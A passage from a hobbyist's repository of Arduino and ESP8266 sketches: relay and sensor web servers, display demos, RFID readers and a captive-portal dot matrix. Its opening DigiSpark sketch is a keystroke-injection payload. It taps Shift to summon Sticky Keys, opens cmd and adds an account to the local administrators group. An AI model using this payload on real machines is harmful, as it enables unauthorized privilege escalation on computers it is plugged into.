DigiKeyboard.update(); 27 | } 28 | 29 | 30 | void loop() { 31 | delay(100); 32 | DigiKeyboard.update(); // Keeps kepboard connected 33 | delay(100); 34 | // this is generally not necessary but with some older systems it seems to 35 | // prevent missing the first character after a delay: 36 | DigiKeyboard.sendKeyStroke(0); 37 | DigiKeyboard.sendKeyStroke(MOD_SHIFT_LEFT); 38 | DigiKeyboard.delay(100); 39 | DigiKeyboard.sendKeyStroke(MOD_SHIFT_LEFT); 40 | DigiKeyboard.delay(100); 41 | DigiKeyboard.sendKeyStroke(MOD_SHIFT_LEFT); 42 | DigiKeyboard.delay(100); 43 | DigiKeyboard.sendKeyStroke(MOD_SHIFT_LEFT); 44 | DigiKeyboard.delay(100); 45 | DigiKeyboard.sendKeyStroke(MOD_SHIFT_LEFT); 46 | 47 | DigiKeyboard.delay(200); 48 | 49 | DigiKeyboard.println("cmd"); 50 | DigiKeyboard.println("net localgroup administrators /add station24-1"); 51 | DigiKeyboard.println("exit"); 52 | DigiKeyboard.println("exit"); 53 | // It's better to use DigiKeyboard.delay() over the regular Arduino delay() 54 | // if doing keyboard stuff because it keeps talking to the computer to make 55 | // sure the computer knows the keyboard is alive and connected 56 | DigiKeyboard.delay(5000); 57 | } 58 | -------------------------------------------------------------------------------- /ESP8266/wemos/RelayWebServer/RelayWebServer.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | const int Relay = 5; 7 | const char* ssid = "....."; 8 | const char* password = "....."; 9 | 10 | ESP8266WebServer server(80); 11 | 12 | void handleRoot() { 13 | Serial.println("\n\nClient Connected"); 14 | server.send(200, "text/plain", "Activating Relay"); 15 | Serial.println("Message Sent"); 16 | digitalWrite(LED_BUILTIN, HIGH); 17 | digitalWrite(Relay, HIGH); 18 | Serial.println("Relay On"); 19 | delay(2000); 20 | digitalWrite(Relay, LOW); 21 | Serial.println("Relay Off"); 22 | digitalWrite(LED_BUILTIN, LOW); 23 | Serial.println("Client Disconnected"); 24 | } 25 | 26 | void handleNotFound(){ 27 | digitalWrite(LED_BUILTIN,HIGH); 28 | String message = "File Not Found\n\n"; 29 | message += "URI: "; 30 | message += server.uri(); 31 | message += "\nMethod: "; 32 | message += (server.method() == HTTP_GET)?"GET":"POST"; 33 | message += "\nArguments: "; 34 | message += server.args(); 35 | message += "\n"; 36 | for (uint8_t i=0; i 2 | #include 3 | #include 4 | #include 5 | 6 | const char* ssid = "...."; 7 | const char* password = "...."; 8 | 9 | ESP8266WebServer server(80); 10 | 11 | int dataPin = 13; 12 | 13 | #include 14 | 15 | RCSwitch mySwitch = RCSwitch(); 16 | 17 | void handleRoot() { 18 | if (server.args() > 0 ) { 19 | for ( uint8_t i = 0; i < server.args(); i++ ) { 20 | if (server.argName(i) == "switch") { 21 | server.send(200, "text/plain", server.arg(i)); 22 | int code = server.arg(i).toInt(); 23 | /* Same switch as above, but using decimal code */ 24 | mySwitch.send(code, 24); 25 | delay(1000); 26 | 27 | } 28 | } 29 | }else{ 30 | server.send(200, "text/plain", "hello from esp8266!"); 31 | } 32 | } 33 | 34 | void handleNotFound(){ 35 | String message = "File Not Found\n\n"; 36 | message += "URI: "; 37 | message += server.uri(); 38 | message += "\nMethod: "; 39 | message += (server.method() == HTTP_GET)?"GET":"POST"; 40 | message += "\nArguments: "; 41 | message += server.args(); 42 | message += "\n"; 43 | for (uint8_t i=0; i 44 | 45 | // initialize the library with the numbers of the interface pins 46 | LiquidCrystal lcd(7, 8, 9, 10, 11, 12); 47 | 48 | void setup() { 49 | // set up the LCD's number of columns and rows: 50 | lcd.begin(16, 2); 51 | // Print a message to the LCD. 52 | lcd.print("www.FilmsByKris.com!"); 53 | delay(1000); 54 | } 55 | 56 | void loop() { 57 | // scroll 13 positions (string length) to the left 58 | // to move it offscreen left: 59 | for (int positionCounter = 0; positionCounter < 13; positionCounter++) { 60 | // scroll one position left: 61 | lcd.scrollDisplayLeft(); 62 | // wait a bit: 63 | delay(150); 64 | } 65 | 66 | // scroll 29 positions (string length + display length) to the right 67 | // to move it offscreen right: 68 | for (int positionCounter = 0; positionCounter < 29; positionCounter++) { 69 | // scroll one position right: 70 | lcd.scrollDisplayRight(); 71 | // wait a bit: 72 | delay(150); 73 | } 74 | 75 | // scroll 16 positions (display length + string length) to the left 76 | // to move it back to center: 77 | for (int positionCounter = 0; positionCounter < 16; positionCounter++) { 78 | // scroll one position left: 79 | lcd.scrollDisplayLeft(); 80 | // wait a bit: 81 | delay(150); 82 | } 83 | 84 | // delay at the end of the full loop: 85 | delay(1000); 86 | 87 | } 88 | 89 | -------------------------------------------------------------------------------- /ESP8266/WaterSwitch/WaterSwitch.ino: -------------------------------------------------------------------------------- 1 | /** 2 | * ESP delay singal for water pump 3 | * 4 | * Created by Kris Occhipinti 5 | * http://filmsbykris.com 6 | * GPLv3 License https://www.gnu.org/licenses/gpl-3.0.txt 7 | */ 8 | 9 | #include 10 | 11 | #include 12 | #include 13 | 14 | #include 15 | 16 | #define USE_SERIAL Serial 17 | 18 | ESP8266WiFiMulti WiFiMulti; 19 | 20 | //access point and passphrase 21 | char ap[] = ""; 22 | char pass[] = ""; 23 | 24 | //urls 25 | char url1[] = "http://URL/1.php"; 26 | char url2[] = "http://URL/2.php"; 27 | 28 | //delays 29 | int d = 1000; 30 | int d1 = 300000; 31 | int d2 = 60000; 32 | 33 | //connection number 34 | int c = 0; 35 | 36 | void setup() { 37 | 38 | USE_SERIAL.begin(115200); 39 | // USE_SERIAL.setDebugOutput(true); 40 | 41 | USE_SERIAL.println(); 42 | USE_SERIAL.println(); 43 | USE_SERIAL.println(); 44 | 45 | for(uint8_t t = 4; t > 0; t--) { 46 | USE_SERIAL.printf("[SETUP] WAIT %d...\n", t); 47 | USE_SERIAL.flush(); 48 | delay(1000); 49 | } 50 | 51 | WiFiMulti.addAP(ap, pass); 52 | 53 | } 54 | 55 | void loop() { 56 | // wait for WiFi connection 57 | if((WiFiMulti.run() == WL_CONNECTED)) { 58 | 59 | HTTPClient http; 60 | 61 | USE_SERIAL.print("[HTTP] begin...\n"); 62 | // configure traged server and url 63 | //http.begin("https://192.168.1.12/test.html", "7a 9c f4 db 40 d3 62 5a 6e 21 bc 5c cc 66 c8 3e a1 45 59 38"); //HTTPS 64 | 65 | if( c == 0 ){ 66 | c++; 67 | http.begin(url1); //HTTP 68 | d=d1; 69 | }else{ 70 | http.begin(url2); //HTTP 71 | d=d2; 72 | } 73 | 74 | USE_SERIAL.print("[HTTP] GET...\n"); 75 | // start connection and send HTTP header 76 | int httpCode = http.GET(); 77 | 78 | // httpCode will be negative on error 79 | if(httpCode > 0) { 80 | // HTTP header has been send and Server response header has been handled 81 | USE_SERIAL.printf("[HTTP] GET... code: %d\n", httpCode); 82 | 83 | // file found at server 84 | if(httpCode == HTTP_CODE_OK) { 85 | String payload = http.getString(); 86 | USE_SERIAL.println(payload); 87 | } 88 | } else { 89 | USE_SERIAL.printf("[HTTP] GET... failed, error: %s\n", http.errorToString(httpCode).c_str()); 90 | } 91 | 92 | http.end(); 93 | 94 | //delay based on connection number 95 | delay(d); 96 | }else{ 97 | //if not connected wait 1 second and try again 98 | delay(d); 99 | } 100 | } 101 | 102 | 103 | 104 | 105 | 106 | -------------------------------------------------------------------------------- /Arduino/Displays/LCD_Display/1.8_SPI_TFT/basic/basic.ino: -------------------------------------------------------------------------------- 1 | /*************************************************** 2 | Pinout for Arduino: 3 | VCC - 5v 4 | GND - GND 5 | CS - pin #10 6 | RESET - pin #9 7 | AD - pin #8 8 | SDA - pin #11 9 | SCK - ping #13 10 | LED - 3.3v 11 | 12 | 13 | ****************************************************/ 14 | 15 | #include // Core graphics library 16 | #include // Hardware-specific library 17 | #include 18 | 19 | 20 | // For the breakout, you can use any 2 or 3 pins 21 | // These pins will also work for the 1.8" TFT shield 22 | #define TFT_CS 10 23 | #define TFT_RST 9 // you can also connect this to the Arduino reset 24 | // in which case, set this #define pin to 0! 25 | #define TFT_DC 8 26 | 27 | // Option 1 (recommended): must use the hardware SPI pins 28 | // (for UNO thats sclk = 13 and sid = 11) and pin 10 must be 29 | // an output. This is much faster - also required if you want 30 | // to use the microSD card (see the image drawing example) 31 | Adafruit_ST7735 tft = Adafruit_ST7735(TFT_CS, TFT_DC, TFT_RST); 32 | 33 | // Option 2: use any pins but a little slower! 34 | #define TFT_SCLK 13 // set these to be whatever pins you like! 35 | #define TFT_MOSI 11 // set these to be whatever pins you like! 36 | //Adafruit_ST7735 tft = Adafruit_ST7735(TFT_CS, TFT_DC, TFT_MOSI, TFT_SCLK, TFT_RST); 37 | 38 | 39 | float p = 3.1415926; 40 | 41 | void setup(void) { 42 | Serial.begin(9600); 43 | Serial.print("Hello! ST7735 TFT Test"); 44 | 45 | // Use this initializer if you're using a 1.8" TFT 46 | tft.initR(INITR_BLACKTAB); // initialize a ST7735S chip, black tab 47 | 48 | // Use this initializer (uncomment) if you're using a 1.44" TFT 49 | //tft.initR(INITR_144GREENTAB); // initialize a ST7735S chip, black tab 50 | 51 | Serial.println("Initialized"); 52 | 53 | uint16_t time = millis(); 54 | tft.fillScreen(ST7735_BLACK); 55 | time = millis() - time; 56 | 57 | Serial.println(time, DEC); 58 | delay(500); 59 | 60 | //Rotate screen 61 | tft.setRotation(1); 62 | // tft print function! 63 | tftPrintTest(); 64 | delay(500); 65 | 66 | 67 | } 68 | 69 | void loop() { 70 | tft.invertDisplay(true); 71 | delay(500); 72 | tft.invertDisplay(false); 73 | delay(500); 74 | } 75 | 76 | 77 | 78 | void tftPrintTest() { 79 | tft.setRotation(1); 80 | String txt = "Films By Kris"; 81 | tft.setTextWrap(false); 82 | //tft.fillScreen(ST7735_BLACK); 83 | tft.setCursor(0, 0); 84 | tft.setTextColor(ST7735_RED); 85 | tft.setTextSize(2); 86 | tft.println(txt); 87 | delay(500); 88 | tft.setTextColor(ST7735_WHITE); 89 | tft.println(txt); 90 | delay(500); 91 | tft.setTextColor(ST7735_YELLOW); 92 | tft.println(txt); 93 | delay(500); 94 | tft.setTextColor(ST7735_BLUE); 95 | tft.println(txt); 96 | delay(500); 97 | tft.setTextColor(ST7735_GREEN); 98 | tft.println(txt); 99 | delay(500); 100 | tft.setTextColor(ST7735_WHITE); 101 | tft.println(""); 102 | tft.println(" DOT COM"); 103 | delay(2000); 104 | } 105 | 106 | 107 | -------------------------------------------------------------------------------- /ESP8266/GasSmoke/GasSmoke_Alarm/GasSmoke_Alarm.ino: -------------------------------------------------------------------------------- 1 | /* GAS Sensor MQ-2 Module for ESP8266 2 | This sensor detects flammable gasses 3 | the board has four pins 4 | connect DO to Arduino pin 2 5 | connect Gnd to Arduino Gnd 6 | connect Vcc to Arduino 5 volts 7 | Digital Pins can only be High/Low(on/off) 8 | So we don't know how much Smoke/Gas is in the sensor, 9 | but we can set a threshold and send an alert. 10 | threshold will be set by potentiometer screw on board 11 | */ 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | const char* ssid = "....."; 18 | const char* password = "....."; 19 | 20 | ESP8266WebServer server(80); 21 | 22 | int sensorPin = A0; // select the input pin for the potentiometer 23 | int DOPin = 2; // select the pin for the LED 24 | int sensorValue = 0; // variable to store the value coming from the sensor 25 | String alert = "OFF"; //sets to 1 if Gas/Smoke detected 26 | 27 | void handleRoot() { 28 | server.send(200, "text/html", "\ 29 | \ 30 | \ 31 | \ 32 | \ 41 | \ 42 | \ 43 |

OFF

\ 44 | \ 45 | "); 46 | } 47 | 48 | void handleNotFound(){ 49 | String message = "File Not Found\n\n"; 50 | message += "URI: "; 51 | message += server.uri(); 52 | message += "\nMethod: "; 53 | message += (server.method() == HTTP_GET)?"GET":"POST"; 54 | message += "\nArguments: "; 55 | message += server.args(); 56 | message += "\n"; 57 | for (uint8_t i=0; i 12 | #include 13 | #include 14 | #include 15 | 16 | const char* ssid = ""; 17 | const char* password = ""; 18 | 19 | ESP8266WebServer server(80); 20 | 21 | int trigPin = 2; //Trig - green Jumper 22 | int echoPin = 0; //Echo - yellow Jumper 23 | long duration, cm, inches; 24 | String val; 25 | const int led = 5; 26 | 27 | void handleRoot() { 28 | digitalWrite(led, 1); 29 | server.send(200, "text/plain", "hello from esp8266!"); 30 | digitalWrite(led, 0); 31 | } 32 | 33 | void handleNotFound(){ 34 | digitalWrite(led, 1); 35 | String message = "File Not Found\n\n"; 36 | message += "URI: "; 37 | message += server.uri(); 38 | message += "\nMethod: "; 39 | message += (server.method() == HTTP_GET)?"GET":"POST"; 40 | message += "\nArguments: "; 41 | message += server.args(); 42 | message += "\n"; 43 | for (uint8_t i=0; i 12 | #include 13 | #include 14 | #include 15 | 16 | const char* ssid = "....."; 17 | const char* password = "....."; 18 | 19 | ESP8266WebServer server(80); 20 | 21 | int trigPin = 2; //Trig - green Jumper 22 | int echoPin = 0; //Echo - yellow Jumper 23 | long duration, cm, inches; 24 | String val; 25 | const int led = 5; 26 | 27 | void handleRoot() { 28 | digitalWrite(led, 1); 29 | server.send(200, "text/plain", "hello from esp8266!"); 30 | digitalWrite(led, 0); 31 | } 32 | 33 | void handleNotFound(){ 34 | digitalWrite(led, 1); 35 | String message = "File Not Found\n\n"; 36 | message += "URI: "; 37 | message += server.uri(); 38 | message += "\nMethod: "; 39 | message += (server.method() == HTTP_GET)?"GET":"POST"; 40 | message += "\nArguments: "; 41 | message += server.args(); 42 | message += "\n"; 43 | for (uint8_t i=0; i 2 | #include 3 | #include 4 | #include 5 | #include "LedControl.h" 6 | // Arduino Pin 5 to DIN, 4 to Clk, 2 to LOAD, no.of devices is 1 7 | LedControl lc = LedControl(5, 4, 2, 1); 8 | 9 | const char* ssid = "...."; 10 | const char* password = "...."; 11 | 12 | ESP8266WebServer server(80); 13 | 14 | const int led = 13; 15 | 16 | void msg(int p,char m){ 17 | //lc.clearDisplay(0); // Clear dsplay register 18 | lc.setChar(0, p, m, false); 19 | } 20 | 21 | void digits2screen(){ 22 | lc.clearDisplay(0); // Clear dsplay register 23 | //serChar needs single ' not double " 24 | lc.setChar(0, 6, 'E', false); 25 | lc.setDigit(0, 5, 5, false); 26 | lc.setChar(0, 4, 'P', false); 27 | lc.setDigit(0, 3, 8, false); 28 | lc.setDigit(0, 2, 2, false); 29 | lc.setDigit(0, 1, 6, false); 30 | lc.setDigit(0, 0, 6, false); 31 | } 32 | 33 | void handleRoot() { 34 | lc.clearDisplay(0); 35 | if (server.args() > 0 ) { 36 | for ( uint8_t i = 0; i < server.args(); i++ ) { 37 | if (server.argName(i) == "msg") { 38 | server.send(200, "text/plain", server.arg(i)); 39 | }if (server.argName(i) == "char") { 40 | String a = server.arg(i); 41 | server.send(200, "text/plain", a); 42 | int pos = 0; 43 | for(int p = a.length() - 1; p >= 0; p--){ 44 | msg(pos,a.charAt(p)); 45 | pos++; 46 | } 47 | } 48 | } 49 | } else{ 50 | digitalWrite(led, 1); 51 | server.send(200, "text/plain", "hello from esp8266!"); 52 | digitalWrite(led, 0); 53 | digits2screen(); 54 | } 55 | } 56 | 57 | void handleNotFound(){ 58 | digitalWrite(led, 1); 59 | String message = "File Not Found\n\n"; 60 | message += "URI: "; 61 | message += server.uri(); 62 | message += "\nMethod: "; 63 | message += (server.method() == HTTP_GET)?"GET":"POST"; 64 | message += "\nArguments: "; 65 | message += server.args(); 66 | message += "\n"; 67 | for (uint8_t i=0; i. 23 | * 24 | */ 25 | 26 | 27 | #include 28 | #include 29 | #include 30 | 31 | ESP8266WiFiMulti WiFiMulti; 32 | 33 | 34 | const int buttonPin = 0; // D3 on Wemos is GPIO0 35 | const int ledPin = 2; // D4 on the Wemos is the builtin LED - GPIO2 36 | int t = 0; // Prevents false presses by counting loops while button is pressed 37 | int tl = 50; // Number of loops before button is pressed 38 | int d = 1000; //delay between presses to prevent triggering more than once 39 | int buttonState = 0; // variable for reading the pushbutton status 40 | 41 | //URL to connect to 42 | String url = "http://"; 43 | 44 | 45 | 46 | void setup() { 47 | Serial.begin(115200); 48 | delay(10); 49 | 50 | // We start by connecting to a WiFi network 51 | WiFiMulti.addAP("...", "..."); 52 | Serial.println(); 53 | Serial.println(); 54 | Serial.print("Wait for WiFi... "); 55 | 56 | while(WiFiMulti.run() != WL_CONNECTED) { 57 | Serial.print("."); 58 | delay(500); 59 | } 60 | 61 | Serial.println(""); 62 | Serial.println("WiFi connected"); 63 | Serial.println("IP address: "); 64 | Serial.println(WiFi.localIP()); 65 | 66 | delay(500); 67 | 68 | // initialize the LED pin as an output: 69 | pinMode(ledPin, OUTPUT); 70 | // initialize the pushbutton pin as an input: 71 | pinMode(buttonPin, INPUT); 72 | } 73 | 74 | void sendPress(){ 75 | Serial.print("Requesting URL: "); 76 | Serial.println(url); 77 | HTTPClient http; 78 | 79 | http.begin(url); //HTTP 80 | // start connection and send HTTP header 81 | int httpCode = http.GET(); 82 | // httpCode will be negative on error 83 | if(httpCode > 0) { 84 | Serial.println("Connected..."); 85 | 86 | // file found at server 87 | if(httpCode == HTTP_CODE_OK) { 88 | String payload = http.getString(); 89 | Serial.println("The Server says:"); 90 | Serial.print(payload); 91 | } 92 | } else { 93 | String errorCode = http.errorToString(httpCode).c_str(); 94 | Serial.println(errorCode); 95 | } 96 | 97 | http.end(); 98 | } 99 | 100 | void loop() { 101 | // read the state of the pushbutton value: 102 | buttonState = digitalRead(buttonPin); 103 | 104 | // check if button is pressed. 105 | //button not pressed 106 | if (buttonState == HIGH) { 107 | // turn LED off: 108 | digitalWrite(ledPin, HIGH); 109 | t=0; 110 | //Serial.println("High"); 111 | //button pressed 112 | } else { 113 | //if button is pressed for long enough then trigger 114 | if(t == tl){ 115 | // turn LED on: 116 | digitalWrite(ledPin, LOW); 117 | Serial.println("Button Pressed"); 118 | //Connect to server 119 | sendPress(); 120 | delay(d); 121 | }else{ 122 | //count loops while button is pressed 123 | t++; 124 | } 125 | } 126 | 127 | } 128 | -------------------------------------------------------------------------------- /ESP8266/Displays/Matrix/MatrixPortal/MatrixPortal.ino: -------------------------------------------------------------------------------- 1 | /* 2 | Captive Port Dot Matrix By Kris Occhipinti - http://filmsbykris.com 08/26/2016 3 | Original Captive Portal by: M. Ray Burnette 20150831 4 | See Notes tab for original code references and compile requirements 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include "./DNSServer.h" // Patched lib 10 | #include 11 | #include "chars.h" 12 | 13 | const int led = 2; 14 | 15 | 16 | int data = 12; // DIN pin of MAX7219 module - D6 17 | int load = 13; // CS pin of MAX7219 module - D7 18 | int clock = 15; // CLK pin of MAX7219 module - D8 19 | 20 | int maxInUse = 2; //how many MAX7219 are connected 21 | 22 | MaxMatrix m(data, load, clock, maxInUse); // define Library 23 | 24 | byte buffer[10]; 25 | 26 | char* string1 = " Ember to Mission Control "; // Default Scrolling Text 27 | 28 | 29 | const byte DNS_PORT = 53; // Capture DNS requests on port 53 30 | IPAddress apIP(10, 10, 10, 1); // Private network for server 31 | DNSServer dnsServer; // Create the DNS object 32 | ESP8266WebServer webServer(80); // HTTP server 33 | 34 | /* Set these to your desired credentials. */ 35 | const char *ssid = "Matrix"; 36 | //const char *password = "..."; 37 | 38 | String responseHTML = "" 39 | 40 | "Virus Detected\n" 41 | "

Your Computer Is Now Infected!!!

You are Welcome.

\n" 42 | "\n" 43 | "\n"; 44 | 45 | 46 | 47 | 48 | void updateText() { 49 | 50 | } 51 | 52 | void portal(){ 53 | //webServer.send(200, "text/html", responseHTML); 54 | digitalWrite(led, 1); 55 | 56 | if (webServer.args() > 0 ) { 57 | for ( uint8_t i = 0; i < webServer.args(); i++ ) { 58 | if (webServer.argName(i) == "msg") { 59 | strcpy (string1,webServer.arg(i).c_str()); 60 | 61 | webServer.send(200, "text/plain", webServer.arg(i)); 62 | } 63 | } 64 | } else{ 65 | string1=" Mission Control to Ember "; 66 | webServer.send(200, "text/plain", ""); 67 | } 68 | 69 | digitalWrite(led, 0); 70 | } 71 | 72 | void setup() { 73 | WiFi.mode(WIFI_AP); 74 | WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0)); 75 | WiFi.softAP(ssid); 76 | 77 | // if DNSServer is started with "*" for domain name, it will reply with 78 | // provided IP to all DNS request 79 | dnsServer.start(DNS_PORT, "*", apIP); 80 | 81 | // replay to all requests with same HTML 82 | webServer.onNotFound(portal); 83 | 84 | 85 | webServer.on("/update", updateText); 86 | 87 | webServer.begin(); 88 | 89 | m.init(); // module MAX7219 90 | m.setIntensity(5); // LED Intensity 0-15 91 | 92 | pinMode(led, OUTPUT); 93 | digitalWrite(led, 0); 94 | 95 | } 96 | 97 | void loop() { 98 | dnsServer.processNextRequest(); 99 | byte c; 100 | delay(100); 101 | m.shiftLeft(false, true); 102 | printStringWithShift(string1, 100); // Send scrolling Text 103 | webServer.handleClient(); 104 | } 105 | 106 | 107 | // Put extracted character on Display 108 | void printCharWithShift(char c, int shift_speed){ 109 | if (c < 32) return; 110 | c -= 32; 111 | memcpy_P(buffer, CH + 7*c, 7); 112 | m.writeSprite(maxInUse*8, 0, buffer); 113 | m.setColumn(maxInUse*8 + buffer[0], 0); 114 | 115 | for (int i=0; i 32 | #include 33 | 34 | #define RST_PIN 9 // Configurable, see typical pin layout above 35 | #define SS_1_PIN 10 // Configurable, take a unused pin, only HIGH/LOW required, must be diffrent to SS 2 36 | #define SS_2_PIN 8 // Configurable, take a unused pin, only HIGH/LOW required, must be diffrent to SS 1 37 | 38 | #define NR_OF_READERS 2 39 | 40 | byte ssPins[] = {SS_1_PIN, SS_2_PIN}; 41 | 42 | MFRC522 mfrc522[NR_OF_READERS]; // Create MFRC522 instance. 43 | 44 | /** 45 | * Initialize. 46 | */ 47 | void setup() { 48 | 49 | Serial.begin(9600); // Initialize serial communications with the PC 50 | while (!Serial); // Do nothing if no serial port is opened (added for Arduinos based on ATMEGA32U4) 51 | 52 | SPI.begin(); // Init SPI bus 53 | 54 | for (uint8_t reader = 0; reader < NR_OF_READERS; reader++) { 55 | mfrc522[reader].PCD_Init(ssPins[reader], RST_PIN); // Init each MFRC522 card 56 | //Serial.print(F("Reader ")); 57 | //Serial.print(reader); 58 | //Serial.print(F(": ")); 59 | //mfrc522[reader].PCD_DumpVersionToSerial(); 60 | } 61 | } 62 | 63 | /** 64 | * Main loop. 65 | */ 66 | void loop() { 67 | 68 | for (uint8_t reader = 0; reader < NR_OF_READERS; reader++) { 69 | // Look for new cards 70 | 71 | if (mfrc522[reader].PICC_IsNewCardPresent() && mfrc522[reader].PICC_ReadCardSerial()) { 72 | // Show some details of the PICC (that is: the tag/card) 73 | //Serial.print(F(": Card UID:")); 74 | dump_byte_array(mfrc522[reader].uid.uidByte, mfrc522[reader].uid.size); 75 | Serial.println(); 76 | // Serial.print(F("PICC type: ")); 77 | // MFRC522::PICC_Type piccType = mfrc522[reader].PICC_GetType(mfrc522[reader].uid.sak); 78 | // Serial.println(mfrc522[reader].PICC_GetTypeName(piccType)); 79 | 80 | // Halt PICC 81 | mfrc522[reader].PICC_HaltA(); 82 | // Stop encryption on PCD 83 | mfrc522[reader].PCD_StopCrypto1(); 84 | } //if (mfrc522[reader].PICC_IsNewC 85 | } //for(uint8_t reader 86 | } 87 | 88 | /** 89 | * Helper routine to dump a byte array as hex values to Serial. 90 | */ 91 | void dump_byte_array(byte *buffer, byte bufferSize) { 92 | for (byte i = 0; i < bufferSize; i++) { 93 | Serial.print(buffer[i] < 0x10 ? " 0" : " "); 94 | Serial.print(buffer[i], HEX); 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /ESP8266/Displays/oled_all-in-one/BasicHTTPDemo/BasicHTTPDemo.ino: -------------------------------------------------------------------------------- 1 | //Code by Kris Occhipinti 2 | //http://filmsbykris.com 3 | //Wed Sep 6 10:11:16 EDT 2017 4 | //License GPLv3 5 | // Include the correct display library 6 | // For a connection via I2C using Wire include 7 | 8 | #include // Only needed for Arduino 1.6.5 and earlier 9 | #include "SSD1306.h" // alias for `#include "SSD1306Wire.h"` 10 | #include 11 | 12 | const char* ssid = "...."; 13 | const char* password = "...."; 14 | 15 | const char* host = "filmsbykris.com"; 16 | String url = "/scripts/esp/msgs/oled1.php"; 17 | 18 | // or #include "SH1106.h" alis for `#include "SH1106Wire.h"` 19 | // For a connection via I2C using brzo_i2c (must be installed) include 20 | // #include // Only needed for Arduino 1.6.5 and earlier 21 | // #include "SSD1306Brzo.h" 22 | // #include "SH1106Brzo.h" 23 | // For a connection via SPI include 24 | // #include // Only needed for Arduino 1.6.5 and earlier 25 | // #include "SSD1306Spi.h" 26 | // #include "SH1106SPi.h" 27 | 28 | // Initialize the OLED display using Wire library 29 | SSD1306 display(0x3c, 5,4); 30 | 31 | // SH1106 display(0x3c, 5,4); 32 | 33 | int xpos = 0; 34 | 35 | void setup() { 36 | Serial.begin(115200); 37 | delay(10); 38 | 39 | Serial.println(); 40 | Serial.print("Connecting to "); 41 | Serial.println(ssid); 42 | 43 | WiFi.begin(ssid, password); 44 | 45 | while (WiFi.status() != WL_CONNECTED) { 46 | delay(500); 47 | Serial.print("."); 48 | } 49 | 50 | Serial.println(""); 51 | Serial.println("WiFi connected"); 52 | Serial.println("IP address: "); 53 | Serial.println(WiFi.localIP()); 54 | 55 | 56 | // Initialising the UI will init the display too. 57 | display.init(); 58 | display.flipScreenVertically(); 59 | display.setFont(ArialMT_Plain_16); 60 | 61 | display.clear(); // clear the display 62 | display.setTextAlignment(TEXT_ALIGN_RIGHT); 63 | display.drawString(0,24,"Connecting"); 64 | } 65 | 66 | void drawDemo() { 67 | Serial.print("connecting to "); 68 | Serial.println(host); 69 | 70 | // Use WiFiClient class to create TCP connections 71 | WiFiClient client; 72 | const int httpPort = 80; 73 | if (!client.connect(host, httpPort)) { 74 | Serial.println("connection failed"); 75 | return; 76 | } 77 | 78 | Serial.print("Requesting URL: "); 79 | Serial.println(url); 80 | 81 | // This will send the request to the server 82 | client.print(String("GET ") + url + " HTTP/1.1\r\n" + 83 | "Host: " + host + "\r\n" + 84 | "Connection: close\r\n\r\n"); 85 | unsigned long timeout = millis(); 86 | while (client.available() == 0) { 87 | if (millis() - timeout > 5000) { 88 | Serial.println(">>> Client Timeout !"); 89 | client.stop(); 90 | return; 91 | } 92 | } 93 | 94 | // Read all the lines of the reply from server and print them to Serial 95 | while(client.available()){ 96 | String line = client.readStringUntil('\r'); 97 | Serial.print(line); 98 | //check if it has a message line 99 | if(line.indexOf("ESPMSG:") > 0){ 100 | //removed line header 101 | line.remove(0, 8); 102 | display.clear(); 103 | display.setFont(ArialMT_Plain_16); 104 | display.setTextAlignment(TEXT_ALIGN_LEFT); // The coordinates define the center of the screen! 105 | display.drawString(0,0, line); 106 | 107 | //draw moving cursor at bottom of display 108 | display.setFont(ArialMT_Plain_24); 109 | display.setTextAlignment(TEXT_ALIGN_LEFT); // The coordinates define the center of the screen! 110 | display.drawString(xpos%128,40,"-"); 111 | display.display(); 112 | } 113 | } 114 | 115 | Serial.println(); 116 | Serial.println("closing connection"); 117 | 118 | } 119 | 120 | void loop() { 121 | //display.clear(); // clear the display 122 | display.setTextAlignment(TEXT_ALIGN_RIGHT); 123 | drawDemo(); 124 | xpos = xpos + 2; 125 | } 126 | 127 | 128 | -------------------------------------------------------------------------------- /Arduino/Displays/LCD_Display/16pin/CustomCharacter/CustomCharacter.ino: -------------------------------------------------------------------------------- 1 | /* 2 | LiquidCrystal Library - Custom Characters 3 | 4 | Demonstrates how to add custom characters on an LCD display. 5 | The LiquidCrystal library works with all LCD displays that are 6 | compatible with the Hitachi HD44780 driver. There are many of 7 | them out there, and you can usually tell them by the 16-pin interface. 8 | 9 | This sketch prints "I Arduino!" and a little dancing man 10 | to the LCD. 11 | 12 | The circuit: 13 | * LCD RS pin to digital pin 12 14 | * LCD Enable pin to digital pin 11 15 | * LCD D4 pin to digital pin 5 16 | * LCD D5 pin to digital pin 4 17 | * LCD D6 pin to digital pin 3 18 | * LCD D7 pin to digital pin 2 19 | * LCD R/W pin to ground 20 | * 10K potentiometer: 21 | * ends to +5V and ground 22 | * wiper to LCD VO pin (pin 3) 23 | * 10K poterntiometer on pin A0 24 | 25 | created 21 Mar 2011 26 | by Tom Igoe 27 | modified 11 Nov 2013 28 | by Scott Fitzgerald 29 | modified 16 July 2016 30 | by Kris Occhipinti 31 | 32 | This example code is in the public domain. 33 | 34 | https://learn.adafruit.com/character-lcds/wiring-a-character-lcd 35 | 36 | Based on Adafruit's example at 37 | https://github.com/adafruit/SPI_VFD/blob/master/examples/createChar/createChar.pde 38 | 39 | This example code is in the public domain. 40 | http://www.arduino.cc/en/Tutorial/LiquidCrystal 41 | 42 | Also useful: 43 | http://icontexto.com/charactercreator/ 44 | 45 | */ 46 | 47 | // include the library code: 48 | #include 49 | 50 | // initialize the library with the numbers of the interface pins 51 | LiquidCrystal lcd(7, 8, 9, 10, 11, 12); 52 | 53 | int x = 0; 54 | 55 | // make some custom characters: 56 | byte heart[8] = { 57 | 0b00000, 58 | 0b01010, 59 | 0b11111, 60 | 0b11111, 61 | 0b11111, 62 | 0b01110, 63 | 0b00100, 64 | 0b00000 65 | }; 66 | 67 | byte smiley[8] = { 68 | 0b00000, 69 | 0b00000, 70 | 0b01010, 71 | 0b00000, 72 | 0b00000, 73 | 0b10001, 74 | 0b01110, 75 | 0b00000 76 | }; 77 | 78 | byte frownie[8] = { 79 | 0b00000, 80 | 0b00000, 81 | 0b01010, 82 | 0b00000, 83 | 0b00000, 84 | 0b00000, 85 | 0b01110, 86 | 0b10001 87 | }; 88 | 89 | byte armsDown[8] = { 90 | 0b00100, 91 | 0b01010, 92 | 0b00100, 93 | 0b00100, 94 | 0b01110, 95 | 0b10101, 96 | 0b00100, 97 | 0b01010 98 | }; 99 | 100 | byte armsUp[8] = { 101 | 0b00100, 102 | 